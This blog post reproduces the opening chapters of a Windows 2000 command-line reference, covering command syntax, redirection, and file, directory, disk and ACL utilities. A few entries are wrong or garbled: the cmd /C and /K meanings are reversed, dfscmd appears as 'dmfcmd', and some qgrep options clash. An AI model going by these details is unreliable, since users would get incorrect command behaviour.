HACKER WORLD

Windows 2000 Commands

2012-06-08T22:42:00.000-07:00

Chapter 1. Windows 2000 Commands Pocket
Reference
1.1 Introduction
1.2 Entering Commands
1.3 Installing Extra Administrative Commands
1.4 Help Commands
1.5 General-Purpose Commands
1.6 General Administrative Commands
1.7 Working with Files
1.8 Working with Directories
1.9 Working with Disks and Filesystems
1.10 Managing Shares
1.11 Printing
1.12 Networking-Related Commands
1.13 Administering Users and Groups
1.14 Managing Processes
1.15 Managing Services
1.16 Accessing the System Registry
1.17 Active Directory and Domain Management
Commands
1.18 Installation-Related Commands
1.19 The Windows 2000 Recovery Console
1.20 Command Equivalents for Program Menu Items
1.21 User Rights and System Privileges
1.22 Script-Related Constructs
1.23 Commands Useful in Scripts
1.24 Windows 2000 GUI Tips and Tricks
1.25 Useful Windows 2000 Web Sites
1.1 Introduction
This desktop reference documents Windows 2000 command mode. It is designed for system
administrators, but will also prove beneficial to many other types of users. It includes most
available Windows 2000 commands, as well as the most useful system administration
command-line utilities from the Resource Kit (space permitting). Resource Kit commands are
marked with an "RK" superscript in their header lines.
1.1.1 What's Not Included
Space limitations have forced us to exclude the following classes of special-purpose
commands from this reference:
• Multiuser Terminal Services commands (since this facility is an add-on to the
standard Windows 2000 products)
• Clustering-related utilities
• Most NetWare-related commands and options
• SNMP-related commands
• Multicast networking-related commands
• Services for Macintosh commands
• Java subsystem-related commands
A few additional commands are also excluded, either because they have been deemed
redundant, obscure, obsolete, broken, unacceptably insecure, or because they perform
inadvisable actions or procedures. Lingering unneeded DOS commands (e.g., subst,
commands used in Config.SYS files, etc.) are likewise omitted.
Finally, whenever several utilities perform essentially identical tasks, only the best of them
are included.
1.1.2 Organization
Commands are arranged in groups related to their purposes and functions; within a group,
commands are arranged alphabetically. Consult the index to locate a desired command.
Command options are grouped by function and ordered by importance. Occasionally,
unimportant options are omitted.
Much of the information in this book not only corresponds to Windows 2000, but also applies
to earlier versions of Windows NT. Some commands are available only with the Server or
Advanced Server version of the operating system.
1.1.3 Typographic Conventions
cmd
Bold denotes a Windows 2000 command or option.
arg
Italics denotes variable parameters (i.e., things you must fill in).
[...]
Brackets denote optional parts of commands.
a | b
A pipe indicates that either a or b should be selected.
cmdRK
The "RK" superscript denotes a Resource Kit command.
HKLM
HKCU
Registry key initial components are abbreviated.
Menu name menu name . . .
The arrow symbol ( ) combined with boldface denotes a Windows 2000 menu path.
1.2 Entering Commands
• Commands are not case-sensitive.
• Command options are not usually case-sensitive. The few options that are lowercase
only are specified as such in this book. Uppercase and mixed-case options can be
assumed to be case-insensitive.
• Command options are generally preceded by a forward slash—for example, /X. In
many cases, a minus sign may be substituted for the slash if desired. A few
commands (mostly originating in the Resource Kit) require that their options be
preceded by a minus sign.
• Option placement is not consistent across all commands. Consult the syntax summary
for option placement for a specific command.
• Distinct command arguments are separated by spaces, commas, or semicolons.
• A command may be continued onto a second (or subsequent) line by placing a caret
(^) as the final character of the initial line.
• The caret is also used as the escape symbol, protecting the following character from
being processed by the command interpreter.
• Multiple commands may be concatenated by an ampersand: command1 &
command2. The commands are executed in sequence.
• Commands may be executed conditionally, based on the success or failure of a
preceding command, by joining them with && or || (respectively):
command1 && command2
Execute command2 only if command1 succeeds.
command1 || command2
Execute command2 only if command1 fails.
1.2.1 I/O Redirection
< file
Take standard input from a file.
> file
1> file
Send standard output to a file.
>> file
1>> file
Append standard output to a file.
2 > file
Send standard error to a file.
2 >> file
Append standard error to a file.
> file 2 >&1
Combine standard output and standard error and send both to the same destination
(use >> before file to append).
command1 | command2
command1 0 > command2
Form a pipe, linking the standard output of command1 to the standard input of
command2.
1.2.2 Environment Variables
This section lists several key Windows 2000 environment variables. Note that environment
variables are dereferenced by enclosing the name between percent signs—for example,
%SystemRoot%. System and current user environment variables are modified via the path
My Computer Properties Advanced Environment Variables:
PATH
A semicolon-separated list of directories, which are searched in turn for a command
entered without a full path.
PATHEXT
A semicolon-separated list of file extensions that should be applied in turn to bare
command names when searching for the proper executable. Extensions in the list
must include the initial period.
PROGRAMFILES
The location of the Program Files folder (usually C:\Program Files).
SYSTEMROOT
The location of the Windows 2000 system directory (usually C:\WinNT).
TEMP and TMP
Paths to a directory that applications may use for temporary file and scratch storage
space.
1.3 Installing Extra Administrative Commands
The Windows 2000 distribution CD includes several additional groups of administrative
commands that must be installed separately. They are in the following directory locations on
the CD:
• \Support\Tools\Setup: this installs tools into %SystemRoot%\Program Files\Support
Tools
• \Support\Tools\Deploy.Cab: this contains system installation automation tools; these
must be installed manually to whatever location you desire
• \I386\AdminPak.MSI: this installs tools into a standard system software tree (i.e.,
under %SystemRoot%)
• \ValueAdd\3rdParty\Mgmt\Winstel\SwiAdmLE.MSI: this installs tools into
%SystemRoot%\Program Files\VERITAS Software
The Resource Kit must be purchased separately (available from most booksellers and
software sellers). Once installed, these tools are located in the directory
%SystemRoot%\Program Files\Resource Kit. Note that a few tools must be installed
manually; they are generally located in subdirectories of \Apps on the Resource Kit CD.
1.4 Help Commands
help command
Obtain help for a standard Windows 2000 command.
command /?
Obtain help for the specified command.
net help command
Obtain help for one of the net commands.
net helpmsg nnnn
Explain Windows 2000 message number nnnn.
ntbooks
Open main Windows 2000 help file. Navigate to Troubleshooting and Additional
Resources Additional Resources Windows 2000 Commands in the help file
to find documentation of the various commands.
W2RKSupp.Chm
The help file for the additional support tools available on the Windows 2000
distribution CD.
Deploy.Chmand Unattend.Doc
The help files and documentation related to unattended and other automated
Windows 2000 installations (these files are located wherever you installed the
installation automation tools from the Windows 2000 distribution CD, discussed in
the previous section).
W2RKTool.ChmRK
The main help file for Resource Kit commands. Other useful help files in the
Resource Kit include:
• W2RKBook.ChmRK: Resource Kit books.
• RegEntry.ChmRK: Descriptions of registry keys and values.
• GP.ChmRK: Descriptions of many Group Policy settings.
• W2000Msgs.ChmRK: Documentation of Windows 2000 error messages and event log
entry types.
• Counters.ChmRK: Documentation of all Performance Monitor counters.
1.5 General-Purpose Commands
clipRK
command |clip
clip
< file
Place the command output file /specified file contents on the system clipboard.
cmd
cmd
[options] [
/C
|
/K
[
/S
] command]
Start a new Windows 2000 command interpreter. If command is specified, that command is
executed. Enclose multiple commands in quotation marks. See the cmd /? documentation for
other features (e.g., command /path completion, delayed environment variable expansion, and
so on).
Use the exit command to end a command interpreter session.
Options
/C | /K [/S]
Carry out the specified command, retaining (/C ) or terminating ( /K) the command
interpreter afterward. With either /C or /K, /S says to process quotes in the command
string before execution. (Usually they are preserved.)
/Q
Disable command echoing (see echo OFF, later in this book).
/E:ON | OFF
Enable/disable command interpreter extensions. Set the default by the value of the
HKCU\ or HKLM\ Software\Microsoft\Command Processor\Enable Extensions
registry key (enabled by default).
/A | /U
Format command output as ANSI (default) or Unicode, respectively.
/D
Disable registry autorun commands in the HKLM\ or
HKCU\Software\Microsoft\Command Processor\Autorun registry key.
cscript
cscript [script] [options]
Run a script using the Windows Scripting Host facility. The script filename must include a
recognized extension indicating the scripting language. See the ntbooks documentation for
script execution-related options. Note that cscript options are preceded by two slashes ( // ) in
order to distinguish them from the script's own options.
cscript //h:cscript
Make cscript the default script host, which allows scripts to be run by entering the script
name as the command.
date
date [mm-dd-[yy]yy] [/T]
Set to the specified date (prompted if omitted). The /T option displays the date without
modifying it.
doskey
doskey [options]
Recall previous commands or create macros (aliases).
Command History and Editing Options
/HISTORY
Display the entire command history list.
/LISTSIZE=n
Set the size of the history list to n.
Once doskey is loaded, press F7 to display a selectable command history list, press Alt-F7 to
clear it, and press F9 to go to a specific command number.
/INSERT | /OVERSTRIKE
Set the default editing mode for recalled commands to insert or overstrike ( generally
the default).
Macro Options
macroname =command
Define a macro. Within command, $T inserts a command separator, $1 through $9
denote command arguments one through nine, and $* denotes all command
arguments.
/MACROS:ALL
Display all defined macros.
/MACROFILE=file
Install all macros stored in the specified file.
/EXENAME=exefile
Specify an executable file to associate with the macros being defined.
/MACROS:exefile
Display all defined macros associated with the specified executable file.
The Alt-F10 key sequence clears all defined macros.
find
find [options] string [files]
Search for a literal text string in the specified files, in standard input (via a pipe), or in text
entered at its prompt, and display matching lines.
Options
/V
Display only nonmatching lines.
/I
Perform a case-insensitive search (case-sensitive is the default).
/C
Display a count of matching lines only.
/N
Display the line number preceding each line.
findstr
findstr [options] /C:string | /G:file | strings [files]
Search for one or more text strings or regular expressions in the specified files or in standard
input (if no files are given), and display matching lines. Enclose multiple search strings in
quotation marks.
Options
/R
Interpret search strings as regular expressions.
/L
Interpret search strings as literal text.
/C:string
Designate the specified string as a literal text string (useful for strings with internal
spaces).
/G: file
Read the search strings from the specified file. A slash for file says to read the
filename from the console.
/B | /E
Match the search string only at the beginning ( /B ) or end ( /E ) of a line (don't
include both).
/I
Perform a case-insensitive search.
/V
Display nonmatching lines.
/X
Display only lines that match exactly.
/N | /O
Precede displayed lines with their line numbers or character offsets, respectively.
/M
Display only the names of files containing a match.
/S
Recurse subdirectories in the file list.
/F: file
Read the file list from the specified file. A slash for file says to read the file list from
the console.
/D:dirlist
Search the files in the comma-separated directory list.
/P
Skip files containing nonprintable characters.
Regular Expression Components
.
Any single character.
^ $
Beginning /end of line.
\< | \>
Beginning /end of word.
\x
Literal character: used to escape special characters in regular expressions (e.g., \$
refers to a literal dollar sign).
[chars]
Any character in the list.
[^chars]
Any character not in the list.
[a-z]
Any character falling in the indicated character range. Note that multiple ranges and
character lists can be placed inside a single set of brackets.
*
Zero or more of the previous item; e.g., [0-9]* means zero or more numbers and .*
means zero or more characters (matches anything ).
logoffRK
logoff /F /N
End the current logon session, suppressing all confirmation prompts.
more
more [options] [files]
Display its standard input or the contents of the specified files, one screen at a time.
Options
/C
Clear the screen before displaying the first page.
/S
Combine (squeeze) multiple blank lines into one.
/Tn
Expand tabs to n spaces. By default, tabs are expanded to eight spaces.
/P
Expand form feed characters.
+n
Begin the display at line n of the input or first file.
The command also uses any options set in the MORE environment variable.
nowRK
now string
Precede the specified string with the current date and time (designed to create timestamped
message strings).
path
path [path]
Display or set the search path (a semicolon-separated list of directories). The form %path%
may be used to include the current search path in a modified one.
pathmanRK
pathman /option path
Manipulate the user or system PATH variables according to the specified option. The latter is
in the form /xy, where x is a (add the specified path components) or r (remove components)
and y is u (user path) or s (system path).
qgrepRK
qgrep [options] regular-expressions files
Search files for patterns and display matching lines.
Options
/B | /E
Match pattern at the beginning /end of a line.
/L | /X
Treat search strings as literal/regular expressions. /X is the default.
/V | /X
Display nonmatching /exactly matching lines.
/Y
Perform a case-insensitive search.
/N
Precede displayed lines with line numbers.
/L
Display the filename only if the file contains a match.
setxRK
setx env-variable value [-m]
Set the value of an environment variable in the current user or computer (-m) environment (as
if you had used the My Computer Properties Advanced Environment Variables
dialog ). setx also has more complex variations; see W2RKTools.Chm for details.
sort
sort [options] [< file]
Sort standard input (use I/O redirection to sort a file).
Options
/R
Reverse usual sort order (i.e., Z to A, 9 to 0).
/+n
Start sorting in column n.
/L C
Sort according to characters' binary encodings rather than the sort order implied by
the system default locale.
/REC n
Specify the maximum number of characters (n) per line. The default is 4,096 and the
maximum value is 65,535.
/T path
Use the indicated directory as the command's temporary working directory. The
default is the system temporary directory.
/O output-file-path
Write the sorted data to the specified file rather than as standard output.
time
time [hr[:min[:sec[.hd]]]] [A | P] [/T]
Set the time (prompted if omitted). The /T option displays the time without modifying it.
title
title string
Set the title of the current command (cmd.exe) window.
ver
ver
Display the Windows 2000 operating system version.
whereRK
where [/r dir] filename
Display the full path to the specified file, searching the current search path (default) or the
directory tree that is rooted at the indicated directory.
Options
/t
Display the sizes and times for all located files.
/e
Display the executable type of each located file.
whoamiRK
Whoami
Display the username of the currently logged-in user.
Options
/User
Display username (required if this information is desired along with additional
options).
/Groups
Display group memberships.
/Priv
Display user rights.
/SID
Display SIDs along with other information (can't be used alone).
/All
Display entire security access token.
1.6 General Administrative Commands
assoc
assoc [.ext=filestypename]
Associate a file extension with a named file type. See also ftype.
ftypeRK
ftype [filetypename=command-string]
Display (no parameters) or define file type-specific command invocations. In the latter mode,
the specified command is invoked whenever a file of the specified type is executed. See also
assoc.
mode
mode COMn: BAUD=bPARITY=pDATA =dSTOP =s ^
xon =on | off to =on | off odsr =on | off octs=on | ^
off rts=on | off | hs | tg idsr =on | off dtr=on | ^
off | hs
Set the characteristics of a serial line. See the ntbooks documentation for details about the
available settings as well as other forms of this command.
msinfo32
MSInfo32 /Report file [/Computer name]
Create a report of the system configuration for the local or specified system and place it in the
specified text file. See W2RKSupp.Chm for options to limit the output and change its format.
Note that similar functionality is provided by the graphical utility winrep.
This command is located in the %ProgramFiles%\Common Files\Microsoft Shared\MSInfo
directory (this directory is not typically in the PATH).
net computer
net computer \\host /ADD | /DELETE
Add or remove the specified computer from the domain database.
net name
net name [name] [/DELETE]
Without parameters, display the current name set (message recipients targeted to this user
account). If an argument is included, the command adds the specified name to the current
name set.
The /DELETE option removes the specified name from the name set.
net send
net send who message
Send a message to one or more users. who may be one of the following:
• A username
• A message recipient defined with net name
• A hostname (corresponds to any user logged into the specified computer)
• An asterisk for all users in the local domain
• /DOMAIN:name for all users in the specified domain
• /USERS for all users with connections to the local server
net time
net time from[/SET]
Display the system time on a specified system. /SET says to synchronize the local time with
it. from takes the form \\hostname, /DOMAIN:name, or /RTSDOMAIN:name ; the latter
specifies the domain of a Reliable Time Server.
net time [\\host] [/QUERYSNTP | /SETSNTP:servers]
Display or set the name of the Network Time Protocol (NTP) server(s) used by the local or
specified system. The server list in the /SETSNTP option is space-separated.
shutdownRK
shutdown \\remote-host | /L [options] [message]
Shut down a Windows 2000 system. Include /L to shut down the local system or to specify a
remote host as the command's first argument.
Options
/R
Reboot after shutting down.
/T:n
Wait n seconds before shutting down (the default is 20).
/Y
Answer yes to all subsequent prompts.
/A
Abort a pending shutdown.
/C
Close open applications without saving data.
timezoneRK
timezone /G | /S start-date end-date
Display ( /G) or set ( /S) the starting and ending dates for the current time zone's daylight
savings time.
uptimeRK
uptime [server]
Display the amount of time since the last boot for the local or specified system.
1.7 Working with Files
attrib
attrib [options] [files]
Set DOS file attributes (or display the current attributes if no options are specified). The file
list defaults to all files in the current directory.
Options
+x| -x
Add or remove an attribute, where x is one of the following code characters: R (readonly),
H (hidden), S (system) or A (archive).
/S
Recurse subdirectories in the file list.
/D
Apply attributes to folders themselves.
cacls, xcaclsRK
cacls | xcacls files [options]
Display (if no options are specified) or modify access control lists (ACLs), using Windows
NT 4 or Windows 2000 permission sets, respectively.
Options
Multiple options and instances of options are allowed.
/T
Propagate changes to subdirectories in the file list.
/E
Edit the existing ACL (the default is to replace it).
/G user : perms [;dir-perms]
/P user : perms[;dir-perms]
Grant or replace (respectively) permissions in the access control entries (ACEs) for
the specified user. perms indicates the defined permission set. For cacls, it is either R
(read), C (change), F (full control), or N (none, applies to /P with cacls only). xcacls
uses several additional codes for the other atomic permissions: P (change
permissions), O (take ownership), X (execute), W (write), and D (delete). Directories
take a second permission string, separated from the first by a semicolon. In this
context, there is an additional code letter: T (not specified).
/R user
Remove the ACEs for the specified user (requires /E).
/D user
Deny the specified user all access to the files.
/C
Continue applying changes even if an error occurs.
/Y
Suppress confirmation prompts (xcacls only).
comp
comp [options] fileset1 fileset2
Compare two sets of files (or individual files). If multiple files are specified, compare files of
the same name. Differences are reported only for files of identical size. (Use fc to compare
files of different sizes.)
Options
/A
Display the differences in ASCII form (the default is decimal).
/L
Display line numbers for differing lines.
/C
Perform a case-insensitive comparison.
/N=n
Compare only the first n lines of each file.
compact
compact [options] [files]
Compress or uncompress the specified files, setting directories' default settings, or display the
compression status of the specified files. If omitted, the file list defaults to the current
directory and its contents.
Options
/C | /U
Specify a compression operation or an uncompression operation, respectively.
/S[:dir]
Recurse subdirectories in the file list. If specified, dir sets the current working
directory.
/F
Force compression even on already compressed files. (These are skipped by default.)
/I
Continue processing files even if an error occurs.
/Q
Request terse output.
/A
Display hidden and system files that are omitted by default (these files are processed,
however).
convert
convert x: /FS:NTFS
Convert Drive x to an NTFS filesystem. Add the /V option for more verbose output.
copy
copy [options] source destination
Copy files to destination. If destination is a single file, all source files are concatenated. (The
form file1 + file2 + ... may also be used to specify file concatenation.)
Options
/A | /B
Designate an ASCII or binary file, respectively (precedes source filenames and
follows destination filename).
/V
Verify the copied data after writing.
/N
Use 8.3 filenames for the copied files.
/Z
Perform a restartable network file copy operation.
/Y | /-Y
Suppress/require confirmation of file overwrites, respectively.
del
del [options] files
Delete files. erase is a synonym for del.
Options
/S
Recurse subdirectories in the file list.
/Q
Suppress all confirmation prompts.
/P
Confirm every deletion operation.
/F
Force deletion of read-only files.
/A:codes
Select only files with specified attributes: H for hidden, S for system, R for read-only,
and A for archive.
dir
dir [options] [path]
Display directory contents. path defaults to the current directory.
Options
Options may be set in the DIRCMD environment variable, and may be overridden by
including the option on the command line, preceded by a minus sign (e.g., /-N).
/B
Display filenames only, one per line (omit the header line).
/W | /D
Wide directory listing: display several filenames per output line, ordering them by
row or column, respectively.
/Q
Display file owners.
/N
Display Unix-style long directory listing (filenames appear on the right).
/L
Display all filenames in lowercase.
/X
Show 8.3 filenames in addition to long filenames.
/S
Recurse subdirectories.
/O: sort-order
Specify ordering of displayed files, using the following codes: N (by name), E (by
extension), S (by size), D (date and time), and G (list directories first). To reverse the
usual sort order, precede any code letter with a minus sign .
/T: timecode
Select which time to display and use for sorting: C (creation time), A (access time),
or W (modification time, which is the default).
/A:codes
Select only files with specified attributes: D for directories, H for hidden, S for
system, R for read-only, and A for archive. A minus sign before a code letter
indicates that files of that particular type are to be excluded.
/C | /-C
Include/omit commas from file sizes. (The default is to include them.)
/4
Display years in four digits.
/P
Pause after each output screen.
fc
fc [options] fileset1 fileset2
Compare files or sets of files, displaying the differences between them. If multiple source
files are specified, files of the same name in the second file set are compared.
Options
/B | /L | /U
Compare the files as binary files, ASCII text files, or Unicode text files, respectively.
No other options can be combined with /B.
/C
Perform a case-insensitive comparison.
/W
Compress all whitespace before comparing.
/T
Don't expand tabs to spaces.
/LBn
Specify the maximum number of consecutive mismatches.
/n
Specify the number of consecutive matching lines required after a mismatch before
the files are considered synchronized once again. (The default is 2.)
/A
Limit the display to just the first and final lines of each set of differences.
/N
Include line numbers in the display. (Valid for text files only.)
filever
filever [options] file(s)
Display the available version information for the specified file(s).
Options
/S
Recurse subdirectories.
/B
Bare format; exclude the header line for each file.
/V
Verbose output.
/A /D
Suppress file attributes ( /A ) or date and time ( /D) from the listing.
/E
List only executable files in the display (e.g., .EXE, .DLL, etc.).
inuseRK
inuse replace-file drive:\path\target-file [/Y]
Replace a locked file. Both file specifications must consist of full pathnames; the replacement
file may be specified by the physical or UNC path. /Y suppresses the confirmation prompt.
linkdRK
linkd location target | /D
Manipulate the junction (symbolic link) at the specified location (an empty folder).
Specifying target creates a new junction pointing to that folder or device, and specifying /D
removes an existing junction.
mcopyRK, mtcRK
mcopy log-file source-file destination-file
mtc log-file source-dir destination-dir
Perform a logged copy operation, either for an individual file or for a directory tree. The
operation log is written to the file specified as the first command argument.
move
move [/Y] files destination
Move files to new directory location. Use /Y to suppress overwrite confirmation prompts.
net file
net file [id [/CLOSE]]
Without arguments, list all open shared files and their ID numbers. When an id is specified,
information about that item is displayed and the /CLOSE option closes the file.
ntbackup
ntbackup backup[systemstate] bksfile /J jobname [options]
Perform the backup operation specified in the backup selection file (bksfile), assigning the job
the specified job name. The .BKS file must be created beforehand, using the command's
graphical interface.
If systemstate is included, system-related databases and files are also backed up (for
example, registry, Active Directory databases, SYSVOL, and so on).
Note that restore operations can only be performed via the GUI version of this utility. For
systemstate restores, see ntdsutil.
Options
Only one of the three following option sets may be selected:
/A /G guid| /T tapename
Append the backup set to the specified tape. (The default is to replace its current
data.) Use either /G or /T to specify the destination (by GUID or tape name,
respectively).
/P poolname /UM
Specify the media pool to use as the backup destination. The backup command finds
the first available media of the specified type, then formats it and uses it for the
backup operation.
/F filename
Specify the destination for a backup to a file.
The options specified in the .BKS file serve as defaults for the backup operation. The
following command-line options can be used to override those settings:
/V:YES | NO
Verify/don't verify the backup after writing it.
/HC:ON | OFF
Specify the hardware compression setting.
/N name
Specify the media name. Invalid with /A.
/D set-label
Specify the backup set label.
/M type
Select the backup type, which can be normal, copy, incremental, differential, or daily.
/R:YES | NO
Restrict /don't restrict the backup set to the owner and members of the Administrators
group.
/L : type
Specify the log file type for the backup operation, either f (full), s (summary), or n
(none).
/RS:YES | NO
Backup/exclude the removable storage database.
/DS server
Back up the Exchange directory service file on the specified server.
/IS server
Back up the Exchange information store file on the specified server.
ntdsutil
ntdsutil
This command must be run after a system state restore operation is completed in order to
authoritatively restore the Active Directory data. (It is required when restoring database files
that have been replicated to other DCs.) Once ntdsutil completes, the system should be
rebooted.
ohRK
oh [options]
Display open handles.
Options
/P pid
Limit display to handles associated with the specified process.
/T type
Limit display to handles of the specified type.
string
Limit display to handles whose name contains the specified string.
/A
Include unnamed objects.
Note that when multiple options are specified, only handles matching all of them are
displayed.
pax
pax [options] [path]
POSIX-compatible archive/backup program, capable of reading tar (the default) and cpio
(use -x cpio) archives on disk.
pax -f archive
List the contents of the specified archive.
pax -r -f archive [-s replace-cmd] [pattern-list]
Extract the contents of the specified archive to the current directory, limiting extracted items
to those matching a pattern in the list (if specified). The -s option says to perform the sedstyle
replacement command on each incoming filename.
pax -w [-a] -f archive [-s replace-cmd] [paths]
Create the specified archive, placing the indicated files and subtrees within it. If -a is
included, then the archive is appended to, rather than replaced.
See the ntbooks documentation for additional operating modes and options.
permcopyRK
permcopy \\server share\\dest-server share
Copy permission from the specified server and share to the destination server and share.
permsRK
perms [options] user files
Display the specified user's permissions for the specified files.
Options
/S
Recurse subdirectories.
/I
Display permissions corresponding to interactive access.
ren
ren path new-name
Rename the specified file. rename is a synonym for ren.
replace
replace source-files destination [options]
Replace/update files in a destination directory.
Options
/A
Add new files to the destination directory. This is not valid with /U or /S.
/U
Update only destination files that are older than their corresponding source files.
/S
Recurse subdirectories.
/R
Replace read-only files.
/P
Require confirmation for all replacements and additions.
rsdiag
rsdiag [options]
Display information in or from Remote Storage facility databases.
Options
/S | /V | /M
Display storage media /volume/manageable volume lists. /V also optionally accepts a
drive letter in order to obtain detailed information about that volume.
/W full-path
Display the physical storage media and data set storing the most recent version of the
specified file.
/J [jobname]
List all pending jobs or detailed information about the specified job.
/C jobname
Cancel the specified job.
/R [/F]
Display contents of the recall queue. /F requests more detailed data.
/X recallnum
Cancel a pending recall operation.
/I
Display version information for the database files.
/T
Reload trace files.
/D type full-path
Write database information to the specified file. type indicates the desired data: e
(Engine database), f (File System Agent database), a (File System Agent collection),
n (Engine collection), or s (Subsystem collection).
rsdir
rsdir item [options]
Display information about Remote Storage facility status for the specified items (i.e., whether
or not they are offline).
Options
/S
Recurse subdirectories.
/F
Display extended file information.
srvcheckRK
srvcheck \\host
List all shares and their access permissions on the specified computer system.
subinaclRK
subinacl [/Test_Mode] /type items /action
Modify ACLs for the specified items. /Test_Mode says to indicate the action to take, but not
actually to perform it. This command cannot be used on Dfs volumes.
/Type indicates the items' object type: /file, /share, /subdirectories (traverse directory tree),
/keyreg and subkeyreg (registry keys, with or without recursion), /service, /printer, and
/kernelobject.
Actions are options that specify a transformation of the existing ACL (the default action is to
display the ACL). Here are some of the most useful (see W2RKTools.Chm for a full list):
/Owner =User
Set item ownership.
/Replace=Old-user=New-user
Reassign the ACEs from the old user to the new user.
/ChangeDomain=Old-domain=New-domain
Replace all ACEs from the old domain with the corresponding ones from the new
domain. There must be a trust relationship between the two domains.
/MigrateDomain=Old-domain=New-domain
Copy all ACEs from the old domain, changing them to the corresponding ACEs from
the new domain. There must be a trust relationship between the two domains.
/Grant=Name=Perms
/Deny=Name=Perms
Add a grant/denial ACE for the specified user or group, having the specified
permissions. (See W2RKTools.Chm for permission codes.)
takeownRK
takeown files
Take ownership of system-owned files.
type
type file
Display file contents.
xcopy
xcopy files destination [options]
Copy directory trees.
Options
/EXCLUDE: file
Exclude all files matching any of the patterns listed in the specified file (one per line)
from the copy operation.
/R
Overwrite read-only files.
/U
Update mode. Copy only files that already exist in the destination directory tree.
/D:m-d-y
Copy only files modified on or after the specified date.
/A | /M
Select files with the archive attribute set, then leave it set or unset, respectively.
/H
Include hidden and system files.
/S
Recurse nonempty subdirectories.
/T
Reproduce the directory tree structure but don't copy any files (excludes empty
subdirectories).
/E
Include empty directories (implies /S, unless used with /T).
/V
Verify the copied data.
/I
Force the destination to be interpreted as a directory.
/Q | /F
Produce terse or verbose output, respectively.
/L
List files to be copied by the command, but don't actually copy any files.
/P
Require confirmation for each destination file.
/K
Reproduce the read-only status of copied files.
/N
Copy using 8.3 filenames.
/C
Continue copying even if an error occurs.
/Z
Copy network files in a restartable operation.
/Y
Suppress overwrite confirmation prompts.
/W
Prompt before beginning copy operation.
1.8 Working with Directories
append
append path-list [options]
Create a search path of directories for datafiles (used in addition to the current folder), where
path-list is a semicolon-separated list of directories (use a single semicolon to clear the
append path).
Options
/X [:on | off]
Turn use of the append path on or off. In order to use this option, the first append
command executed must include /X:on. on is the default if no setting is given to /X.
/Path [:on | off]
Specify whether to search the append path for datafiles including full paths. The
default is on.
/E
Set the value of the APPEND environment variable to the append path, allowing it to
be viewed subsequently with set.
cd
cd [/D] [path]
Display or set the current working directory. If path does not include a drive letter, the current
drive is assumed. Use /D to change to the current directory on the specified drive when it is
different from the current drive. (The default is to just set it.) The form .. is used to refer to a
parent directory.
chdir is a synonym for cd.
cipher
cipher [options] [paths]
Display encryption status (default operation) or encrypt /decrypt files. The list of paths
defaults to the current directory. The options /E and /D specify encryption or decryption. (The
default mode is a status display.)
cipher /E | /D dirs
Mark specified folders as encrypted /decrypted (affecting subsequently added files).
cipher /E | /D /S:dir
Mark all folders in the specified directory subtree.
cipher /E |/D /A specs
cipher /E |/D /A /S:dir specs
Encrypt/decrypt all files and mark all subdirectories matching the wildcard specifications in
the current directory (first form), or throughout the directory tree, beginning at the specified
directory. Omit specs in the second form to operate on an entire subtree.
Additional Options
/I
Continue on error.
/H
Include system and hidden files.
/F
Force encryption /decryption of all items, regardless of their current status.
/Q
Quiet mode.
delrpRK
delrp path
Delete the specified item, along with any associated reparse points.
diruseRK
diruse [/*] [dirs]
Compute and display disk space usage by directory for the specified directories (or the toplevel
folders within the specified directories, if the option is included).
Options
/S
Give subtotals for each subfolder.
/M | /K
Display totals in megabytes or kilobytes (bytes is the default).
/C
Use the compressed file size rather than the apparent file size.
/Q :n [/A] [/D] [/O]
Mark folders exceeding the specified size with ! in the output (n has the same units as
the output). /A also generates an alert, /D limits the display to folders greater than the
specified size, and /O checks only the total sizes of the specified directories, rather
than also checking all subfolders beneath them.
/,
Place commas in numbers greater than 999 in the output.
efsinfoRK
efsinfo [path| /S:dir]
Display encrypted file/folder information. By default, the command lists the status of the
items in the current or specified directory, or in the subdirectory tree specified to /S.
Options
[/R] | [/C]
Display recovery agent/certificate thumbnail information for each item, respectively.
/Y
Display the current EFS certificate thumbnail for the local computer, if accessible.
/I
Continue on error.
md
md path
Create a directory (and all missing intermediates). mkdir is a synonym for md.
popd
popd
Return to the directory at the top of the directory stack (and remove it from the stack).
pushd
pushd [path]
Change the current working directory to the specified directory, and save the previous
location in a directory stack (return with popd). Without an argument, pushd displays the
current directory stack.
rd
rd [options] path
Remove a subdirectory. rmdir is a synonym for rd.
Options
/S
Remove the entire subtree.
/Q
Suppress confirmation prompts.
sfc
sfc [options]
Replace incorrect versions of system files with canonical versions.
Options
/ScanNow | /PurgeCache | /ScanOnce | /ScanBoot
Specify when to perform the scan and replacement: do it immediately, possibly
purging the File Protection cache first, do it at the next boot, or do it at every boot,
respectively.
/Cancel
Cancel all pending scans.
/Quiet
Suppress confirmation prompts when replacing files.
/Enable
Enable the Windows File Protection facility, which scans and replaces system files
automatically on an ongoing basis.
tree
tree dir[options]
Display the tree structure for the specified directory.
Options
/A
Use ASCII characters instead of extended graphics characters.
/F
Include filenames in the display.
1.9 Working with Disks and Filesystems
chkdsk
chkdsk x:[options]
Check the filesystem on Drive x.
Options
/F [/X]
Fix any errors encountered. /X forces a volume dismount before the check.
/L :n
Change the log file size to n KB (on NTFS filesystems only).
/R
Locate and recover bad sectors.
/V
Produce verbose output.
dfscmd
dmfcmd [options]
Administer the Distributed File System (Dfs) facility on the local system.
Options
/VIEW \\dfsroot\share[/Partial | /Full | /Batch | ^ /BatchRestore]
View the components of the specified Dfs share. /Partial adds share comments to the
output and /Full lists all servers for each volume. The remaining options create batch
files suitable for recreating the Dfs, including the /Restore switch in the latter case
(see the next option, /MAP).
/MAP \\root\share\path\\server\share\path [comment] ^ [/Restore]
Add a shared folder to the specified Dfs tree. /Restore suppresses all checks of the
destination server and forces the mapping.
/UNMAP \\root\share\path
Remove a component from a Dfs tree.
/ADD \\root\share\path\\server\share\path [/Restore]
Add a replica for the specified Dfs tree components. /Restore suppresses all checks
of the destination server and forces the mapping.
/REMOVE \\root\share\path\\server\share\path
Remove a replica from the Dfs volume.
dfsutil
dfsutil [options]
Administer the Distributed File System (Dfs) facility in a Windows 2000 domain.
Server Options
/LIST:domain [/DCNAME:name]
List the distributed filesystems in the specified domain, using the specified domain
controller if included. (This option is necessary if the local system is not a domain
controller.)
/VIEW:\\dfsroot \dfsshare [/DCNAME:name] [/LEVEL:1]
Display configuration information for the specified Dfs tree component (share).
/LEVEL:1 requests more detailed output.
/WHATIS:server
Display the Dfs server type and Dfs root for the specified server.
/VERIFY:dfsroot \dfsshare [/DCNAME:name]
Verify the metadata for the specified Dfs share.
/DFSALT:unc-path
Resolve the specified pathname to the UNC path to the actual data (taking into
account replication).
/UNMAP:\\dfsroot \dfsshare /ROOT:\\server \share
Remove the share specified in /ROOT from the specified Dfs tree.
/REINIT:server
Reinitialize Dfs on the specified server.
